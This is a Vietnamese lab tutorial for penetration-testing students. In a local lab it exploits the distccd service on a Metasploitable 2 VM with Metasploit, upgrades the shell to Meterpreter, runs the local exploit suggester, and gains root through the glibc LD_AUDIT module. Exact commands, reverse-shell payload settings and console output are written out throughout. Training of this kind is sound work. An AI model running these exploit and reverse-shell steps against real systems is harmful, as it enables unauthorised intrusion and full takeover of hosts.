Đây là một bài tập thực hành trên lab local với mục đích rèn luyện thêm skill leo thang lấy quyền root qua post Local Exploit Suggester của Metasploit dành cho các học viên các lớp CEH v11 và PENTEST + và cả PreOSCP cũng nên nắm vững, chỉ nên thay Metasploit với script từ github hay làm như Zero-Day.IO là được (nhưng trang này hình như chuyển đi đâu rồi, BQT có copy lại post của trang này)
Để thực hiện quá trình Get Root Với Metasploit – Local Exploit Suggester, chúng ta sử dụng Kali Linux làm cỗ máy tấn công và Metasploitable 2 làm mục tiêu. Các bạn có thể thiết lập hoặc sử dụng phòng thí nghiệm “hacking from home” tương tự để làm theo hướng dẫn sau đây.
Bước 1 Khai thác và lấy phiên về mục tiêu
Điều đầu tiên chúng ta cần làm là có được một phiên có đặc quyền thấp trên mục tiêu. Chúng ta có thể dễ dàng thực hiện điều này với Metasploit. Loại msfconsole trong thiết bị đầu cuối để khởi động nó.
~$ msfconsole
Metasploitable chứa một dịch vụ dễ bị tấn công được gọi là distccd, được sử dụng để phân phối quá trình biên dịch chương trình trên nhiều hệ thống, tăng tốc mọi thứ bằng cách tận dụng sức mạnh bộ xử lý kết hợp. Thật không may, phiên bản này của chương trình cho phép kẻ tấn công từ xa thực hiện các lệnh tùy ý trên máy chủ.
Chúng ta có thể tìm kiếm khai thác bằng cách sử dụng lệnh tìm kiếm (hãy xem trong video hướng dẫn của instructor Đông Dương để thấy cách dò port hay dịch vụ distcc và tìm kiếm mã khai thác với searchsploit để làm theo hướng PreOSCP) :
msf5 > search distcc
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC D
Để tải mô-đun, hãy nhập use theo sau là đường dẫn đầy đủ của mô-đun:
msf5 > use exploit/unix/misc/distcc_exec
Bây giờ chúng ta có thể thấy các cài đặt có sẵn bằng lệnh tùy chọn :
msf5 exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 3632 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
Có vẻ như chúng ta chỉ cần đặt địa chỉ máy chủ từ xa vì cổng từ xa đã được đặt bằng số cổng mặc định. Sử dụng lệnh set để chỉ định địa chỉ IP thích hợp của mục tiêu:
msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Bây giờ chúng tôi đã sẵn sàng để khởi chạy khai thác. Sử dụng lệnh run , chỉ là một bí danh ngắn hơn để khai thác:
msf5 exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP double handler on 10.10.0.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sWI9yfQYbPxuIGrh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sWI9yfQYbPxuIGrh\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.0.1:4444 -> 10.10.0.50:58006) at 2019-11-19 11:46:02 -0500
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Chúng ta có thể thấy rằng một trình bao lệnh đã được mở và việc chạy uname -a xác minh rằng chúng ta đã xâm phạm mục tiêu
Bước 2 Nâng cấp lên Meterpreter
Để sử dụng bộ gợi ý khai thác cục bộ của Metasploit, chúng ta cần nâng cấp trình bao lệnh Unix cơ bản của mình lên phiên Meterpreter. Trong khi vẫn ở trong trình bao lệnh cơ bản, nhấn Ctrl-Z để chạy nền phiên. Nhấn Y nếu nó yêu cầu bạn làm nền cho nó.
Background session 1? [y/N] y
msf5 exploit(unix/misc/distcc_exec) >
Bây giờ chúng ta được đưa trở lại lời nhắc Metasploit chính và chúng ta có thể xác minh bất kỳ phiên nào chúng ta đang chạy trong nền bằng lệnh phiên :
msf5 exploit(unix/misc/distcc_exec) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)
Cách dễ nhất để nâng cấp trình bao thông thường lên phiên Meterpreter là sử dụng cờ -u theo sau là số phiên để nâng cấp:
msf5 exploit(unix/misc/distcc_exec) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.0.1:4433
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 2 opened (10.10.0.1:4433 -> 10.10.0.50:32979) at 2019-06-19 11:47:52 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
Chúng ta có thể thấy mô-đun bài đăng đang chạy và một phiên mới được mở. Chúng tôi có thể xác minh lại điều này bằng lệnh phiên :
msf5 exploit(unix/misc/distcc_exec) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)
2 meterpreter x86/linux uid=1, gid=1, euid=1, egid=1 @ metasploitable.localdomain 10.10.0.1:4433 -> 10.10.0.50:32979 (10.10.0.50)
Và chúng tôi có thể tương tác với phiên Meterpreter mới của mình bằng cách sử dụng cờ -i trên phiên mong muốn:
msf5 exploit(unix/misc/distcc_exec) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
Bước 3 Chạy trình đề xuất khai thác
Mô-đun bài đăng Metasploit hoạt động bằng cách chạy trên một phiên nền, không trực tiếp trong chính phiên đó, vì vậy phiên nền 2 (trình bao Meterpreter của chúng tôi) và quay lại lời nhắc chính. Sau đó, chúng tôi có thể tải trình gợi ý khai thác cục bộ bằng cách sử dụng lệnh sau:
msf5 exploit(unix/misc/distcc_exec) > use post/multi/recon/local_exploit_suggester
Khi xem xét các tùy chọn, các bạn chỉ cần chỉ định phiên mà ta muốn chạy local_exploit_suggester:
msf5 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
Đơn giản chỉ cần đặt phiên thành số 2, là vỏ Meterpreter của chúng tôi:
msf5 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
Và gõ run để bắt đầu:
msf5 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.0.50 - Collecting local exploits for x86/linux...
[*] 10.10.0.50 - 26 exploit checks are being tried...
[+] 10.10.0.50 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 10.10.0.50 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 10.10.0.50 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] Post module execution completed
Chúng ta có thể thấy mô-đun kiểm tra một số khai thác cục bộ và trả về một số ít có vẻ khả thi. Tuyệt vời.
Bước 4 Get ROOT
Cuối cùng chúng ta cần làm là sử dụng một trong những cách khai thác này để root trên hệ thống. Hãy thử cái đầu tiên được đề xuất c, việc khai thác này lợi dụng một lỗ hổng trong trình liên kết động glibc, trong đó biến môi trường LD_AUDIT cho phép tải một đối tượng setuid cuối cùng chạy với đặc quyền root.
msf5 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
Xem xét các tùy chọn, chúng tôi chỉ cần thiết lập lại phiên – đường dẫn thực thi mặc định sẽ hoạt động ngay bây giờ:
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options
Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SUID_EXECUTABLE /bin/ping yes Path to a SUID executable
Exploit target:
Id Name
-- ----
0 Automatic
Đặt phiên giống như trước:
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 2
session => 2
Chúng tôi cũng có thể đặt tải trọng để cung cấp cho chúng tôi một phiên Meterpreter khác khi quá trình khai thác hoàn tất:
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
Và đặt máy chủ lắng nghe thích hợp (địa chỉ IP của máy cục bộ của chúng tôi) và cổng:
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lhost 10.10.0.1
lhost => 10.10.0.1
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lport 4321
lport => 4321
Cuối cùng, gõ run để khởi chạy khai thác:
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 10.10.0.1:4321
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.BlrZu4n' (1271 bytes) ...
[*] Writing '/tmp/.18qZUt' (281 bytes) ...
[*] Writing '/tmp/.DoiFwlxPt' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 3 opened (10.10.0.1:4321 -> 10.10.0.50:56950) at 2019-11-19 11:57:19 -0500
meterpreter >
Bây giờ chúng tôi có một phiên Meterpreter mới trên mục tiêu và chúng tôi có thể thả vào một trình bao để xác minh rằng chúng tôi đã có được quyền truy cập root:
meterpreter > shell
Process 4886 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=1(daemon)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Kết thúc
Trong hướng dẫn này, chúng tôi đã học cách sử dụng Metasploit để lấy một trình bao trên đích, nâng cấp trình bao đó lên phiên Meterpreter và sử dụng mô-đun gợi ý khai thác cục bộ để cuối cùng có được quyền root trên hệ thống. Metasploit không chỉ giúp việc khai thác ban đầu dễ dàng mà còn cả giai đoạn sau khai thác.